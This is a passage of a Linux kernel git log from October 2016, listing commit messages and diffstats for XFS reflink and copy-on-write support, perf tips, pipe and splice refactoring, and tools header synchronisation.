Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_inode_buf.c | 16 ++++++++++++++++ fs/xfs/xfs_ioctl.c | 4 ++++ 2 files changed, 20 insertions(+) commit e153aa7990a09a8a12860fc1f79304b02a6bc03f Author: Darrick J. Wong Date: Mon Oct 3 09:11:49 2016 -0700 xfs: set a default CoW extent size of 32 blocks If the admin doesn't set a CoW extent size or a regular extent size hint, default to creating CoW reservations 32 blocks long to reduce fragmentation. Signed-off-by: DarricK J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_inode.c | 10 ++++++---- fs/xfs/xfs_inode.h | 3 +++ 2 files changed, 9 insertions(+), 4 deletions(-) commit 3f165b334e51477d2b33ac1c81b39927514daab7 Author: Darrick J. Wong Date: Mon Oct 3 09:11:48 2016 -0700 xfs: convert unwritten status of reverse mappings for shared files Provide a function to convert an unwritten extent to a real one and vice versa when shared extents are possible. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_rmap.c | 385 ++++++++++++++++++++++++++++++++++++++++++++++- fs/xfs/xfs_rmap_item.c | 3 + 2 files changed, 387 insertions(+), 1 deletion(-) commit ceeb9c832eeca5c1c2efc54a38f67283ccb60288 Author: Darrick J. Wong Date: Mon Oct 3 09:11:48 2016 -0700 xfs: use interval query for rmap alloc operations on shared files When it's possible for reverse mappings to overlap (data fork extents of files on reflink filesystems), use the interval query function to find the left neighbor of an extent we're trying to add; and be careful to use the lookup functions to update the neighbors and/or add new extents. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_rmap.c | 514 ++++++++++++++++++++++++++++++++++++++++++++++- fs/xfs/libxfs/xfs_rmap.h | 7 + fs/xfs/xfs_rmap_item.c | 6 + fs/xfs/xfs_trace.h | 5 + 4 files changed, 530 insertions(+), 2 deletions(-) commit 0e07c039bac5f6ce7e3bc512ab9efb4aaa76da94 Author: Darrick J. Wong Date: Mon Oct 3 09:11:47 2016 -0700 xfs: add shared rmap map/unmap/convert log item types Wire up some rmap log redo item type codes to map, unmap, or convert shared data block extents. The actual log item recovery comes in a later patch. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_log_format.h | 3 +++ fs/xfs/xfs_rmap_item.c | 3 +++ fs/xfs/xfs_trans_rmap.c | 9 +++++++++ 3 files changed, 15 insertions(+) commit 80de462e090c2c346ca6ec6344b326e81e8cef84 Author: Darrick J. Wong Date: Mon Oct 3 09:11:47 2016 -0700 xfs: increase log reservations for reflink Increase the log reservations to handle the increased rolling that happens at the end of copy-on-write operations. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_trans_resv.c | 16 +++++++++++++--- fs/xfs/libxfs/xfs_trans_resv.h | 2 ++ 2 files changed, 15 insertions(+), 3 deletions(-) commit 83104d449e8c44e4870a795132437257cdf80006 Author: Darrick J. Wong Date: Mon Oct 3 09:11:46 2016 -0700 xfs: garbage collect old cowextsz reservations Trim CoW reservations made on behalf of a cowextsz hint if they get too old or we run low on quota, so long as we don't have dirty data awaiting writeback or directio operations in progress. Garbage collection of the cowextsize extents are kept separate from prealloc extent reaping because setting the CoW prealloc lifetime to a (much) higher value than the regular prealloc extent lifetime has been useful for combatting CoW fragmentation on VM hosts where the VMs experience bursty write behaviors and we can keep the utilization ratios low enough that we don't start to run out of space. IOWs, it benefits us to keep the CoW fork reservations around for as long as we can unless we run out of blocks or hit inode reclaim. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_bmap_util.c | 2 + fs/xfs/xfs_file.c | 3 + fs/xfs/xfs_globals.c | 5 +- fs/xfs/xfs_icache.c | 238 +++++++++++++++++++++++++++++++++++++++++++------ fs/xfs/xfs_icache.h | 7 ++ fs/xfs/xfs_inode.c | 4 +- fs/xfs/xfs_linux.h | 1 + fs/xfs/xfs_mount.c | 1 + fs/xfs/xfs_mount.h | 2 + fs/xfs/xfs_reflink.c | 38 ++++++++ fs/xfs/xfs_reflink.h | 2 + fs/xfs/xfs_super.c | 1 + fs/xfs/xfs_sysctl.c | 9 ++ fs/xfs/xfs_sysctl.h | 1 + fs/xfs/xfs_trace.h | 5 ++ 15 files changed, 287 insertions(+), 32 deletions(-) commit 90e2056d76adc7894a019f5289d259de58065e13 Author: Darrick J. Wong Date: Mon Oct 3 09:11:45 2016 -0700 xfs: try other AGs to allocate a BMBT block Prior to the introduction of reflink, allocating a block and mapping it into a file was performed in a single transaction with a single block reservation, and the allocator was supposed to find enough blocks to allocate the extent and any BMBT blocks that might be necessary (unless we're low on space). However, due to the way copy on write works, allocation and mapping have been split into two transactions, which means that we must be able to handle the case where we allocate an extent for CoW but that AG runs out of free space before the blocks can be mapped into a file, and the mapping requires a new BMBT block. When this happens, look in one of the other AGs for a BMBT block instead of taking the FS down. The same applies to the functions that convert a data fork to extents and later btree format. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 30 ++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_bmap_btree.c | 17 +++++++++++++++++ 2 files changed, 47 insertions(+) commit 6fa164b865e44ac1d1ffc9a24ccd442f17acc4f6 Author: Darrick J. Wong Date: Mon Oct 3 09:11:45 2016 -0700 xfs: don't allow reflink when the AG is low on space If the AG free space is down to the reserves, refuse to reflink our way out of space. Hopefully userspace will make a real copy and/or go elsewhere. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_reflink.c | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) commit 84d6961910ea7b3ae8d8338f5b4df25dea68cee9 Author: Darrick J. Wong Date: Mon Oct 3 09:11:44 2016 -0700 xfs: preallocate blocks for worst-case btree expansion To gracefully handle the situation where a CoW operation turns a single refcount extent into a lot of tiny ones and then run out of space when a tree split has to happen, use the per-AG reserved block pool to pre-allocate all the space we'll ever need for a maximal btree. For a 4K block size, this only costs an overhead of 0.3% of available disk space. When reflink is enabled, we have an unfortunate problem with rmap -- since we can share a block billions of times, this means that the reverse mapping btree can expand basically infinitely. When an AG is so full that there are no free blocks with which to expand the rmapbt, the filesystem will shut down hard. This is rather annoying to the user, so use the AG reservation code to reserve a "reasonable" amount of space for rmap. We'll prevent reflinks and CoW operations if we think we're getting close to exhausting an AG's free space rather than shutting down, but this permanent reservation should be enough for "most" users. Hopefully. Signed-off-by: Darrick J. Wong [hch@lst.de: ensure that we invalidate the freed btree buffer] Signed-off-by: Christoph Hellwig fs/xfs/libxfs/xfs_ag_resv.c | 11 ++++++ fs/xfs/libxfs/xfs_refcount_btree.c | 68 ++++++++++++++++++++++++++++++++++++-- fs/xfs/libxfs/xfs_refcount_btree.h | 7 ++++ fs/xfs/libxfs/xfs_rmap_btree.c | 60 +++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_rmap_btree.h | 7 ++++ fs/xfs/xfs_fsops.c | 64 +++++++++++++++++++++++++++++++++++ fs/xfs/xfs_fsops.h | 3 ++ fs/xfs/xfs_mount.c | 8 +++++ fs/xfs/xfs_super.c | 12 +++++++ 9 files changed, 237 insertions(+), 3 deletions(-) commit f7ca35227253dc8244fd908140b06010e67a31e5 Author: Darrick J. Wong Date: Mon Oct 3 09:11:43 2016 -0700 xfs: create a separate cow extent size hint for the allocator Create a per-inode extent size allocator hint for copy-on-write. This hint is separate from the existing extent size hint so that CoW can take advantage of the fragmentation-reducing properties of extent size hints without disabling delalloc for regular writes. The extent size hint that's fed to the allocator during a copy on write operation is the greater of the cowextsize and regular extsize hint. During reflink, if we're sharing the entire source file to the entire destination file and the destination file doesn't already have a cowextsize hint, propagate the source file's cowextsize hint to the destination file. Furthermore, zero the bulkstat buffer prior to setting the fields so that we don't copy kernel memory contents into userspace. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 9 ++++-- fs/xfs/libxfs/xfs_format.h | 3 +- fs/xfs/libxfs/xfs_fs.h | 3 +- fs/xfs/libxfs/xfs_inode_buf.c | 4 ++- fs/xfs/libxfs/xfs_inode_buf.h | 1 + fs/xfs/libxfs/xfs_log_format.h | 3 +- fs/xfs/xfs_bmap_util.c | 9 ++++-- fs/xfs/xfs_inode.c | 33 +++++++++++++++++++++ fs/xfs/xfs_inode.h | 1 + fs/xfs/xfs_inode_item.c | 2 +- fs/xfs/xfs_ioctl.c | 67 ++++++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_iomap.c | 2 +- fs/xfs/xfs_iomap.h | 1 + fs/xfs/xfs_itable.c | 8 ++++- fs/xfs/xfs_reflink.c | 41 +++++++++++++++++++++----- 15 files changed, 167 insertions(+), 20 deletions(-) commit 98cc2db5b8b2c9f38aebf54a7b03657406b6de26 Author: Darrick J. Wong Date: Mon Oct 3 09:11:43 2016 -0700 xfs: unshare a range of blocks via fallocate Unshare all shared extents if the user calls fallocate with the new unshare mode flag set, so that we can guarantee that a subsequent write will not ENOSPC. Signed-off-by: Darrick J. Wong [hch: pass inode instead of file to xfs_reflink_dirty_range, use iomap infrastructure for copy up] Signed-off-by: Christoph Hellwig fs/xfs/xfs_file.c | 10 +- fs/xfs/xfs_reflink.c | 255 +++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 4 + 3 files changed, 267 insertions(+), 2 deletions(-) commit f0bc4d134b46607967bda1205ce3226a1bd95f42 Author: Darrick J. Wong Date: Mon Oct 3 09:11:42 2016 -0700 xfs: swap inode reflink flags when swapping inode extents When we're swapping the extents of two inodes, be sure to swap the reflink inode flag too. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_bmap_util.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit f86f403794b1446b68afb3c233d4c0bc0e93b654 Author: Darrick J. Wong Date: Mon Oct 3 09:11:41 2016 -0700 xfs: teach get_bmapx about shared extents and the CoW fork Teach xfs_getbmapx how to report shared extents and CoW fork contents accurately in the bmap output by querying the refcount btree appropriately. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_fs.h | 4 +- fs/xfs/xfs_bmap_util.c | 154 ++++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 143 insertions(+), 15 deletions(-) commit cc714660bb8b14dd897cd805bbcd8b76a7606289 Author: Darrick J. Wong Date: Mon Oct 3 09:11:41 2016 -0700 xfs: add dedupe range vfs function Define a VFS function which allows userspace to request that the kernel reflink a range of blocks between two files if the ranges' contents match. The function fits the new VFS ioctl that standardizes the checking for the btrfs EXTENT SAME ioctl. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_file.c | 48 +++++++++++++++++-- fs/xfs/xfs_reflink.c | 127 ++++++++++++++++++++++++++++++++++++++++++++++++++- fs/xfs/xfs_reflink.h | 5 +- 3 files changed, 174 insertions(+), 6 deletions(-) commit 9fe26045e98f8787999f6aa45aec35d16565c1bd Author: Darrick J. Wong Date: Mon Oct 3 09:11:40 2016 -0700 xfs: add clone file and clone range vfs functions Define two VFS functions which allow userspace to reflink a range of blocks between two files or to reflink one file's contents to another. These functions fit the new VFS ioctls that standardize the checking for the btrfs CLONE and CLONE RANGE ioctls. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_file.c | 142 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 142 insertions(+) commit 862bb360ef569f625bcf700ae4b162a9c8fa9bba Author: Darrick J. Wong Date: Mon Oct 3 09:11:40 2016 -0700 xfs: reflink extents from one file to another Reflink extents from one file to another; that is to say, iteratively remove the mappings from the destination file, copy the mappings from the source file to the destination file, and increment the reference count of all the blocks that got remapped. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_reflink.c | 428 +++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 2 + 2 files changed, 430 insertions(+) commit 174edb0e46e520230791a1a894397b7c824cefc4 Author: Darrick J. Wong Date: Mon Oct 3 09:11:39 2016 -0700 xfs: store in-progress CoW allocations in the refcount btree Due to the way the CoW algorithm in XFS works, there's an interval during which blocks allocated to handle a CoW can be lost -- if the FS goes down after the blocks are allocated but before the block remapping takes place. This is exacerbated by the cowextsz hint -- allocated reservations can sit around for a while, waiting to get used. Since the refcount btree doesn't normally store records with refcount of 1, we can use it to record these in-progress extents. In-progress blocks cannot be shared because they're not user-visible, so there shouldn't be any conflicts with other programs. This is a better solution than holding EFIs during writeback because (a) EFIs can't be relogged currently, (b) even if they could, EFIs are bound by available log space, which puts an unnecessary upper bound on how much CoW we can have in flight, and (c) we already have a mechanism to track blocks. At mount time, read the refcount records and free anything we find with a refcount of 1 because those were in-progress when the FS went down. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 11 ++ fs/xfs/libxfs/xfs_format.h | 14 +- fs/xfs/libxfs/xfs_refcount.c | 453 ++++++++++++++++++++++++++++++++++++++++++- fs/xfs/libxfs/xfs_refcount.h | 9 + fs/xfs/xfs_mount.c | 12 ++ fs/xfs/xfs_refcount_item.c | 12 ++ fs/xfs/xfs_reflink.c | 37 ++++ fs/xfs/xfs_reflink.h | 1 + fs/xfs/xfs_super.c | 9 + fs/xfs/xfs_trace.h | 4 + 10 files changed, 551 insertions(+), 11 deletions(-) commit 5e7e605c4d1b5229c7df8a71798df00a4300428b Author: Darrick J. Wong Date: Mon Oct 3 09:11:38 2016 -0700 xfs: cancel pending CoW reservations when destroying inodes When destroying the inode, cancel all pending reservations in the CoW fork so that all the reserved blocks go back to the free pile. In theory this sort of cleanup is only needed to clean up after write errors. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_super.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit aa8968f227a8c6c7468c9d498daf06f8dbc30af0 Author: Darrick J. Wong Date: Mon Oct 3 09:11:38 2016 -0700 xfs: cancel CoW reservations and clear inode reflink flag when freeing blocks When we're freeing blocks (truncate, punch, etc.), clear all CoW reservations in the range being freed. If the file block count drops to zero, also clear the inode reflink flag. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_inode.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 0613f16cd20174d701853f1580ad44a9a6791ff2 Author: Darrick J. Wong Date: Mon Oct 3 09:11:37 2016 -0700 xfs: implement CoW for directio writes For O_DIRECT writes to shared blocks, we have to CoW them just like we would with buffered writes. For writes that are not block-aligned, just bounce them to the page cache. For block-aligned writes, however, we can do better than that. Use the same mechanisms that we employ for buffered CoW to set up a delalloc reservation, allocate all the blocks at once, issue the writes against the new blocks and use the same ioend functions to remap the blocks after the write. This should be fairly performant. Christoph discovered that xfs_reflink_allocate_cow_range may stumble over invalid entries in the extent array given that it drops the ilock but still expects the index to be stable. Simple fixing it to a new lookup for every iteration still isn't correct given that xfs_bmapi_allocate will trigger a BUG_ON() if hitting a hole, and there is nothing preventing a xfs_bunmapi_cow call removing extents once we dropped the ilock either. This patch duplicates the inner loop of xfs_bmapi_allocate into a helper for xfs_reflink_allocate_cow_range so that it can be done under the same ilock critical section as our CoW fork delayed allocation. The directio CoW warts will be revisited in a later patch. Signed-off-by: Darrick J. Wong Signed-off-by: Christoph Hellwig fs/xfs/xfs_aops.c | 90 +++++++++++++++++++++++++++++++++++++++---- fs/xfs/xfs_file.c | 22 ++++++++++- fs/xfs/xfs_reflink.c | 107 +++++++++++++++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_reflink.h | 2 + fs/xfs/xfs_trace.h | 1 - 5 files changed, 209 insertions(+), 13 deletions(-) commit db1327b16c2b24e28d1e5899bced89db9ae6538e Author: Darrick J. Wong Date: Mon Oct 3 09:11:36 2016 -0700 xfs: report shared extent mappings to userspace correctly Report shared extents through the iomap interface so that FIEMAP flags shared blocks accurately. Have xfs_vm_bmap return zero for reflinked files because the bmap-based swap code requires static block mappings, which is incompatible with copy on write. NOTE: Existing userspace bmap users such as lilo will have the same problem with reflink files. Signed-off-by: Christoph Hellwig Signed-off-by: Darrick J. Wong fs/xfs/xfs_aops.c | 11 +++++++++++ fs/xfs/xfs_iomap.c | 12 +++++++++++- 2 files changed, 22 insertions(+), 1 deletion(-) commit 87095f7ddeff3038a0cf8e6574922f9c11688619 Author: Wang Nan Date: Mon Sep 26 07:26:56 2016 +0000 tools build: Add feature detection for g++ Check if g++ is available. The result will be used by builtin clang and LLVM support. Since LLVM requires C++11, this feature detector checks std::move(). Signed-off-by: Wang Nan Cc: Alexei Starovoitov Cc: He Kuang Cc: Jiri Olsa Cc: Zefan Li Cc: pi3orama@163.com Link: http://lkml.kernel.org/r/1474874832-134786-3-git-send-email-wangnan0@huawei.com Signed-off-by: Arnaldo Carvalho de Melo tools/build/Makefile.feature | 2 +- tools/build/feature/Makefile | 10 +++++++++- tools/build/feature/test-cxx.cpp | 15 +++++++++++++++ 3 files changed, 25 insertions(+), 2 deletions(-) commit f61bdc3304281e9ff9eec4f1ed9fb15bcf4d8a5e Author: Wang Nan Date: Mon Sep 26 07:26:55 2016 +0000 tools build: Support compiling C++ source file Add new rule to compile .cpp file to .o use g++. C++ support is required for built-in clang and LLVM support. Linker side support will be introduced by following commits. Signed-off-by: Wang Nan Cc: Alexei Starovoitov Cc: He Kuang Cc: Jiri Olsa Cc: Zefan Li Cc: pi3orama@163.com Link: http://lkml.kernel.org/r/1474874832-134786-2-git-send-email-wangnan0@huawei.com Signed-off-by: Arnaldo Carvalho de Melo tools/build/Build.include | 1 + tools/build/Makefile.build | 7 +++++++ 2 files changed, 8 insertions(+) commit 2ad8327fd0013ee07f056d28faddc2e7f01dd127 Author: Nambong Ha Date: Fri Sep 30 08:26:02 2016 +0900 perf top/report: Add tips about a list option Add two tips that describe --list option of config sub-command and explain how to choose particular config file location. Signed-off-by: Nambong Ha Cc: Jiri Olsa Cc: Namhyung Kim Cc: Peter Zijlstra Cc: Taeung Song Link: http://lkml.kernel.org/r/1475191562-3240-1-git-send-email-over3025@gmail.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/tips.txt | 2 ++ 1 file changed, 2 insertions(+) commit 49343235d08a228c7fe84d0606e69253cc0bc751 Author: Donghyun Kim Date: Fri Sep 30 07:15:57 2016 +0900 perf report/top: Add a tip about system-wide collection from all CPUs Signed-off-by: Donghyun Kim Cc: Jiri Olsa Cc: Namhyung Kim Cc: Peter Zijlstra Cc: Taeung Song Link: http://lkml.kernel.org/r/1475187357-21882-1-git-send-email-dongdong9335@gmail.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/tips.txt | 1 + 1 file changed, 1 insertion(+) commit 8649b6434ebc184e632a510c4121899481409c15 Author: Kim SeonYoung Date: Thu Sep 29 17:16:42 2016 -0700 perf report/top: Add a tip about source line numbers with overhead There is a existing tip as below. If you have debuginfo enabled, try: perf report -s sym,srcline However this tip only describe a condition to use --sort sym,scrline options. So there is lack of explanation in the tip. I think that it would be better to add a tip that exactly explains the feature of --sort srcline. Signed-off-by: Seonyoung Kim Cc: Jiri Olsa Cc: Namhyung Kim Cc: Peter Zijlstra Cc: Taeung Song Link: http://lkml.kernel.org/r/1475194602-5596-1-git-send-email-adamas0414@gmail.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/tips.txt | 1 + 1 file changed, 1 insertion(+) commit c5317167854e01dbb42d2291406ab8448d272868 Author: Al Viro Date: Wed Oct 5 18:43:43 2016 -0400 proc: switch auxv to use of __mem_open() Signed-off-by: Al Viro fs/proc/base.c | 45 ++++++++++++++++++++++++++------------------- 1 file changed, 26 insertions(+), 19 deletions(-) commit aa7eb9ad32f84ce91a92f5c0196ae7adb5611ac4 Author: Al Viro Date: Mon Sep 5 12:19:49 2016 -0400 remove a stray reference to asm/uaccess.h in docs Signed-off-by: Al Viro Documentation/DocBook/kernel-hacking.tmpl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c99d2abd9bc67fd0d578a483f9b82eaa0f61e5c5 Author: Al Viro Date: Mon Sep 5 11:42:55 2016 -0400 sparc64: separate extable_64.h, switch elf_64.h to it Signed-off-by: Al Viro arch/sparc/include/asm/elf_64.h | 2 +- arch/sparc/include/asm/extable_64.h | 20 ++++++++++++++++++++ arch/sparc/include/asm/uaccess_64.h | 18 +----------------- 3 files changed, 22 insertions(+), 18 deletions(-) commit 88dd4a748da7682966f3e52e5dde9a1b1c0bc9d8 Author: Al Viro Date: Mon Sep 5 11:39:01 2016 -0400 score: separate extable.h, switch module.h to it Signed-off-by: Al Viro arch/score/include/asm/extable.h | 11 +++++++++++ arch/score/include/asm/module.h | 2 +- arch/score/include/asm/uaccess.h | 8 +------- 3 files changed, 13 insertions(+), 8 deletions(-) commit 29abfbd9cbba798a89c9f9f977d7d63bff5a5d04 Author: Al Viro Date: Mon Sep 5 11:35:50 2016 -0400 mips: separate extable.h, switch module.h to it more victims of indirect include chains - au1200fb lasat/picvue_proc and watchdog/ath79_wdt ... as well as tb0219, spotted by Sudip Mukherjee Signed-off-by: Al Viro arch/mips/include/asm/extable.h | 13 +++++++++++++ arch/mips/include/asm/module.h | 2 +- arch/mips/include/asm/uaccess.h | 9 +-------- arch/mips/lasat/picvue_proc.c | 1 + drivers/char/tb0219.c | 1 + drivers/video/fbdev/au1200fb.c | 1 + drivers/watchdog/ath79_wdt.c | 1 + 7 files changed, 19 insertions(+), 9 deletions(-) commit 91fff9b347f9f69025e6557b3279cccedbcc744a Author: Mikulas Patocka Date: Mon Oct 3 23:00:19 2016 +0200 hpfs: support FIEMAP Support the FIEMAP ioctl that reports extents allocated by a file. Signed-off-by: Mikulas Patocka Signed-off-by: Al Viro fs/hpfs/file.c | 6 ++++++ 1 file changed, 6 insertions(+) commit dcfc3a6740d372ebe203dae2c5852ff45f9ef793 Author: Arnaldo Carvalho de Melo Date: Wed Oct 5 19:31:48 2016 -0300 tools: Synchronize tools/include/uapi/linux/bpf.h Commit 747ea55e4f78 ("bpf: fix bpf_skb_in_cgroup helper naming") renames BPF_FUNC_skb_in_cgroup to bpf_skb_under_cgroup, triggering this warning while building perf: Warning: tools/include/uapi/linux/bpf.h differs from kernel Update the copy to ack that, no changes needed, as BPF_FUNC_skb_in_cgroup isn't used so far. Cc: Adrian Hunter Cc: Daniel Borkmann Cc: David Ahern Cc: David S. Miller Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-x67d2gq8ct6ko12ex14q8bbx@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/include/uapi/linux/bpf.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a949e63992469fed87aef197347960ced31701b8 Author: Miklos Szeredi Date: Tue Sep 27 10:45:13 2016 +0200 pipe: fix comment in pipe_buf_operations Map and unmap ops no longer exist. Signed-off-by: Miklos Szeredi Signed-off-by: Al Viro include/linux/pipe_fs_i.h | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit ca76f5b6bdbdc50af0d7b98cfcf7a2be7e95eb3d Author: Miklos Szeredi Date: Tue Sep 27 10:45:12 2016 +0200 pipe: add pipe_buf_steal() helper Signed-off-by: Miklos Szeredi Signed-off-by: Al Viro drivers/char/virtio_console.c | 2 +- fs/fuse/dev.c | 2 +- include/linux/pipe_fs_i.h | 11 +++++++++++ 3 files changed, 13 insertions(+), 2 deletions(-) commit fba597db4218ac324eee34b64736ea94829c95bf Author: Miklos Szeredi Date: Tue Sep 27 10:45:12 2016 +0200 pipe: add pipe_buf_confirm() helper Signed-off-by: Miklos Szeredi Signed-off-by: Al Viro fs/fuse/dev.c | 4 ++-- fs/pipe.c | 8 +++----- fs/splice.c | 4 ++-- include/linux/pipe_fs_i.h | 12 +++++++++++- 4 files changed, 18 insertions(+), 10 deletions(-) commit a779638cf622f069a484e8802134cca3c6c71415 Author: Miklos Szeredi Date: Tue Sep 27 10:45:12 2016 +0200 pipe: add pipe_buf_release() helper Signed-off-by: Miklos Szeredi Signed-off-by: Al Viro fs/fuse/dev.c | 7 +++---- fs/pipe.c | 5 ++--- fs/splice.c | 17 +++++------------ include/linux/pipe_fs_i.h | 14 ++++++++++++++ lib/iov_iter.c | 4 +--- 5 files changed, 25 insertions(+), 22 deletions(-) commit 7bf2d1df80822ec056363627e2014990f068f7aa Author: Miklos Szeredi Date: Tue Sep 27 10:45:12 2016 +0200 pipe: add pipe_buf_get() helper Signed-off-by: Miklos Szeredi Signed-off-by: Al Viro fs/fuse/dev.c | 2 +- fs/splice.c | 4 ++-- include/linux/pipe_fs_i.h | 11 +++++++++++ 3 files changed, 14 insertions(+), 3 deletions(-) commit a7c2242166eb4b4447b0145705e4b66f5be89798 Author: Al Viro Date: Sun Sep 25 22:52:02 2016 -0400 relay: simplify relay_file_read() to hell with actors... Signed-off-by: Al Viro kernel/relay.c | 78 +++++++++++++++------------------------------------------- 1 file changed, 20 insertions(+), 58 deletions(-) commit 523ac9afc73acdcf9f00bd35b6ffb4a7c624a7d7 Author: Al Viro Date: Fri Sep 23 15:34:57 2016 -0400 switch default_file_splice_read() to use of pipe-backed iov_iter we only use iov_iter_get_pages_alloc() and iov_iter_advance() - pages are filled by kernel_readv() via a kvec array (as we used to do all along), so iov_iter here is used only as a way of arranging for those pages to be in pipe. Signed-off-by: Al Viro fs/splice.c | 111 ++++++++++++++++++++++-------------------------------------- 1 file changed, 40 insertions(+), 71 deletions(-) commit 82c156f853840645604acd7c2cebcb75ed1b6652 Author: Al Viro Date: Thu Sep 22 23:35:42 2016 -0400 switch generic_file_splice_read() to use of ->read_iter() ... and kill the ->splice_read() instances that can be switched to it Signed-off-by: Al Viro drivers/staging/lustre/lustre/llite/file.c | 70 ++---- .../staging/lustre/lustre/llite/llite_internal.h | 15 +- drivers/staging/lustre/lustre/llite/vvp_internal.h | 14 -- drivers/staging/lustre/lustre/llite/vvp_io.c | 45 +--- fs/coda/file.c | 23 +- fs/gfs2/file.c | 28 +-- fs/nfs/file.c | 25 +-- fs/nfs/internal.h | 2 - fs/nfs/nfs4file.c | 2 +- fs/ocfs2/file.c | 34 +-- fs/ocfs2/ocfs2_trace.h | 2 - fs/splice.c | 244 +++------------------ fs/xfs/xfs_file.c | 41 +--- fs/xfs/xfs_trace.h | 1 - include/linux/fs.h | 2 - mm/shmem.c | 115 +--------- 16 files changed, 58 insertions(+), 605 deletions(-) commit 241699cd72a8489c9446ae3910ddd243e9b9061b Author: Al Viro Date: Thu Sep 22 16:33:12 2016 -0400 new iov_iter flavour: pipe-backed iov_iter variant for passing data into pipe. copy_to_iter() copies data into page(s) it has allocated and stuffs them into the pipe; copy_page_to_iter() stuffs there a reference to the page given to it. Both will try to coalesce if possible. iov_iter_zero() is similar to copy_to_iter(); iov_iter_get_pages() and friends will do as copy_to_iter() would have and return the pages where the data would've been copied. iov_iter_advance() will truncate everything past the spot it has advanced to. New primitive: iov_iter_pipe(), used for initializing those. pipe should be locked all along. Running out of space acts as fault would for iovec-backed ones; in other words, giving it to ->read_iter() may result in short read if the pipe overflows, or -EFAULT if it happens with nothing copied there. In other words, ->read_iter() on those acts pretty much like ->splice_read(). Moreover, all generic_file_splice_read() users, as well as many other ->splice_read() instances can be switched to that scheme - that'll happen in the next commit. Signed-off-by: Al Viro fs/splice.c | 2 +- include/linux/splice.h | 1 + include/linux/uio.h | 14 +- lib/iov_iter.c | 397 ++++++++++++++++++++++++++++++++++++++++++++++++- 4 files changed, 408 insertions(+), 6 deletions(-) commit a5c4c74564f000950902d0f1e64926cce2280af2 Author: Arnaldo Carvalho de Melo Date: Wed Oct 5 19:18:34 2016 -0300 tools: Synchronize tools/arch/x86/include/asm/cpufeatures.h Due to ffb173e657fa ("x86/mce: Drop X86_FEATURE_MCE_RECOVERY and the related model string test"), no changes needed in any other place as no tool uses X86_FEATURE_MCE_RECOVERY. Silences this detected drift when building tools/perf: Warning: tools/arch/x86/include/asm/cpufeatures.h differs from kernel Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Thomas Gleixner Cc: Tony Luck Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-f3sfimg58t3cycbbl8f5cwxf@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/arch/x86/include/asm/cpufeatures.h | 1 - 1 file changed, 1 deletion(-) commit d23e354fe58aada6d1cdeeb7e8463b75d44bc687 Author: Arnaldo Carvalho de Melo Date: Wed Oct 5 19:12:46 2016 -0300 perf bench mem: Sync memcpy assembly sources with the kernel Commit 9a6fb28a355d ("x86/mce: Improve memcpy_mcsafe()") renames memcpy_mcsafe() to memcpy_mcsafe_unrolled(), making tools/arch/x86/lib/memcpy_64.S drift from the its kernel counterpart, triggering this warning in the perf build: Warning: tools/arch/x86/lib/memcpy_64.S differs from kernel Sync that copy to acknowledge that, no changes to 'perf bench' are needed, as this function is not used there. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Thomas Gleixner Cc: Tony Luck Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-xfwc1raw8obyrctxerwt1bbb@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/arch/x86/lib/memcpy_64.S | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 41844e36206be90cd4d962ea49b0abc3612a99d0 Merge: 5691f0e fc1e2c8 Author: Linus Torvalds Date: Wed Oct 5 14:50:51 2016 -0700 Merge tag 'staging-4.9-rc1' of 